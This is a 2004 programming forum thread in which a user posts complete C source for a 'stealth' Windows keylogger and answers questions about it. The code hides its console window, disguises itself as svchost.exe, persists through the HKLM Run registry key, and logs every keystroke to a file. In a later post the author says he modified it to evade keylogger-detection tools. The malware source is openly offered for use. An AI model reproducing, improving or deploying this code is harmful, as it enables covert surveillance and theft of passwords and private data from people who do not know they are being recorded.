|
|
 |
|
|
Thread Tools | Display Modes |
|
|
Sep 10th, 2004, 3:38 PM
|
#1 |
|
Hobbyist Programmer
Join Date: Aug 2004
Location: The Netherlands
Posts: 111
Rep Power: 5
 |
Simple Keylogger In C Using Getasynckeystate()
This is a keylogger i've written for windows, its plain and simple.
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * File: SVCHOST.c * * * * Purpose: a stealth keylogger, writes to file "svchost.log" * * * * Usage: compile to svchost.exe, copy to c:\%windir%\ and run it. * * * * Copyright (C) 2004 Scorpius, scorpius_unknown@yahoo.com, all rights reserved * * * * This program is free software; you can redistribute it and/or * * modify it under the terms of the GNU General Public License * * as published by the Free Software Foundation; either version 2 * * of the License, or (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the Free Software * * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ #include <windows.h> #include <stdio.h> #include <winuser.h> #include <windowsx.h> #define BUFSIZE 80 int test_key(void); int create_key(char *); int get_keys(void); int main(void) { HWND stealth; /*creating stealth (window is not visible)*/ AllocConsole(); stealth=FindWindowA("ConsoleWindowClass",NULL); ShowWindow(stealth,0); int test,create; test=test_key();/*check if key is available for opening*/ if (test==2)/*create key*/ { char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/ create=create_key(path); } int t=get_keys(); return t; } int get_keys(void) { short character; while(1) { sleep(10);/*to prevent 100% cpu usage*/ for(character=8;character<=222;character++) { if(GetAsyncKeyState(character)==-32767) { FILE *file; file=fopen("svchost.log","a+"); if(file==NULL) { return 1; } if(file!=NULL) { if((character>=39)&&(character<=64)) { fputc(character,file); fclose(file); break; } else if((character>64)&&(character<91)) { character+=32; fputc(character,file); fclose(file); break; } else { switch(character) { case VK_SPACE: fputc(' ',file); fclose(file); break; case VK_SHIFT: fputs("[SHIFT]",file); fclose(file); break; case VK_RETURN: fputs("\n[ENTER]",file); fclose(file); break; case VK_BACK: fputs("[BACKSPACE]",file); fclose(file); break; case VK_TAB: fputs("[TAB]",file); fclose(file); break; case VK_CONTROL: fputs("[CTRL]",file); fclose(file); break; case VK_DELETE: fputs("[DEL]",file); fclose(file); break; case VK_OEM_1: fputs("[;:]",file); fclose(file); break; case VK_OEM_2: fputs("[/?]",file); fclose(file); break; case VK_OEM_3: fputs("[`~]",file); fclose(file); break; case VK_OEM_4: fputs("[ [{ ]",file); fclose(file); break; case VK_OEM_5: fputs("[\\|]",file); fclose(file); break; case VK_OEM_6: fputs("[ ]} ]",file); fclose(file); break; case VK_OEM_7: fputs("['\"]",file); fclose(file); break; /*case VK_OEM_PLUS: fputc('+',file); fclose(file); break; case VK_OEM_COMMA: fputc(',',file); fclose(file); break; case VK_OEM_MINUS: fputc('-',file); fclose(file); break; case VK_OEM_PERIOD: fputc('.',file); fclose(file); break;*/ case VK_NUMPAD0: fputc('0',file); fclose(file); break; case VK_NUMPAD1: fputc('1',file); fclose(file); break; case VK_NUMPAD2: fputc('2',file); fclose(file); break; case VK_NUMPAD3: fputc('3',file); fclose(file); break; case VK_NUMPAD4: fputc('4',file); fclose(file); break; case VK_NUMPAD5: fputc('5',file); fclose(file); break; case VK_NUMPAD6: fputc('6',file); fclose(file); break; case VK_NUMPAD7: fputc('7',file); fclose(file); break; case VK_NUMPAD8: fputc('8',file); fclose(file); break; case VK_NUMPAD9: fputc('9',file); fclose(file); break; case VK_CAPITAL: fputs("[CAPS LOCK]",file); fclose(file); break; default: fclose(file); break; } } } } } } return EXIT_SUCCESS; } int test_key(void) { int check; HKEY hKey; char path[BUFSIZE]; DWORD buf_length=BUFSIZE; int reg_key; reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey); if(reg_key!=0) { check=1; return check; } reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length); if((reg_key!=0)||(buf_length>BUFSIZE)) check=2; if(reg_key==0) check=0; RegCloseKey(hKey); return check; } int create_key(char *path) { int reg_key,check; HKEY hkey; reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey); if(reg_key==0) { RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path)); check=0; return check; } if(reg_key!=0) check=1; return check; } Hope you guys like it 
__________________
http://www.white-scorpion.nl |
|
|
|
Sep 10th, 2004, 5:02 PM
|
#2 |
|
Programming Guru
 
Join Date: Jul 2004
Location: United States
Posts: 3,473
Rep Power: 8
  |
I've seen this code before when you posted it..
 If I have time this weekend I will try and help you get it optimized in regards to the while loop.
__________________
http://jasonpowers.net "There are a thousand hacking at the branches of evil to one who is striking at the root." |
|
|
|
|
Sep 11th, 2004, 3:49 AM
|
#3 | |
|
Hobbyist Programmer
Join Date: Aug 2004
Location: The Netherlands
Posts: 111
Rep Power: 5
|
Quote:
i've tried solving it by adding the function sleep(1) to it, but my compiler doesn't seem to recognize it like it should. (although i did add the header file ctype.h).
__________________
http://www.white-scorpion.nl |
|
|
|
|
|
Sep 11th, 2004, 6:18 AM
|
#4 |
|
I eat cake for breakfast.
Join Date: Jul 2004
Location: In my box.
Posts: 4,434
Rep Power: 9
|
I think the Sleep function should be in windowsx.h - try including it.
|
|
|
|
|
Sep 11th, 2004, 7:54 AM
|
#5 |
|
Hobbyist Programmer
Join Date: Aug 2004
Location: The Netherlands
Posts: 111
Rep Power: 5
|
well, i did not include the headerfile ctype.h i think, i used this for another function "is digit()". so i made a mistake in my previous post, but i didn't include windowsx.h either, so i will give this a try as soon as i'm at my windows system again...
b.t.w. i also tried system(sleep(1)); but this will make the sleep.exe give 95% cpu usage, so that isn't an option either... i'll let you know if it worked **EDIT** I've editted the original post with the new source, now it is using 0% cpu. i've tested it with a keylogger-killer, and a keylogger-hunter, they both can't find it, but i've tested the program "Anti keylogger" and it blocks the capture, so that works, only the keylogger still isn't detected hope it may be of use to someone **EDIT**
__________________
http://www.white-scorpion.nl |
|
|
|
|
Dec 13th, 2004, 11:55 AM
|
#6 |
|
Newbie
Join Date: Dec 2004
Posts: 2
Rep Power: 0
|
First of all let me say I'm no C programming expert - not at all, so please pardon me if the answer is obvious.
What I'm wondering about is why you disabled the plus, minus, etc., as in: /*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/Also, what exactly does the following line do? if(GetAsyncKeyState(character)==-32767) Last, I don't get the reason why you force the path (with the char *path="c:\\%windir%\\svchost.exe" .I'm guessing it might have something to do with the way the program runs (i.e. in stealth mode), I can imagine this would only work for "system" executables. But then again, this is nothing more than a mere guess - feel free to enlighten me.
__________________
Disclaimer: the author of this post is NOT responsible for any moral and/or physical damage this post could cause you. |
|
|
|
|
Dec 15th, 2004, 1:53 AM
|
#7 | |
|
Hobbyist Programmer
Join Date: Aug 2004
Location: The Netherlands
Posts: 111
Rep Power: 5
|
Quote:
that piece of code if(GetAsyncKeyState(character)==-32767) well, i forced that path since i wasn't planning at distributing this program, i was only planning on using it myself, that's why i decided to put it in the system directory since the windows directory already contains a svchost.exe file... (this also explains the name ).hope this clears things up.
__________________
http://www.white-scorpion.nl |
|
|
|
|
|
Dec 15th, 2004, 6:59 AM
|
#8 |
|
Newbie
Join Date: Dec 2004
Posts: 2
Rep Power: 0
|
Yep that certainly helped - many thanks.
I had no idea there are return values of '-32767', seems like a weird idea to me. As for the commented part: FYI, it doesn't work with MS VC++ either - none of the keys do actually. I'll try it with a GNU compiler later, with a bit of luck that'll work (unless that's what you're already using of course). Thanks for the explanations!
__________________
Disclaimer: the author of this post is NOT responsible for any moral and/or physical damage this post could cause you. |
|
|
|
|
Dec 16th, 2004, 3:14 PM
|
#9 | |
|
Hobbyist Programmer
Join Date: Aug 2004
Location: The Netherlands
Posts: 111
Rep Power: 5
|
i've used dev-cpp as a compiler, i have a copy of MSVC++ 6.0 too, but i prefer dev-cpp since you do not need to create a project for every program you are writing..
according to msdn the GetAsyncKeyState function has the following return values: Quote:
__________________
http://www.white-scorpion.nl |
|
|
|
|
|
Dec 21st, 2004, 2:09 PM
|
#10 |
|
Newbie
Join Date: Dec 2004
Posts: 3
Rep Power: 0
|
Why doesn't VC++ recognize none of the the VK_OEM_SOMENUMBER keys?
where are they defined?? |
|
|
|
|
| Bookmarks |
| Currently Active Users Viewing This Thread: 1 (0 members and 1 guests) | |
| Thread Tools | |
| Display Modes | |
|
|
Hybrid Mode
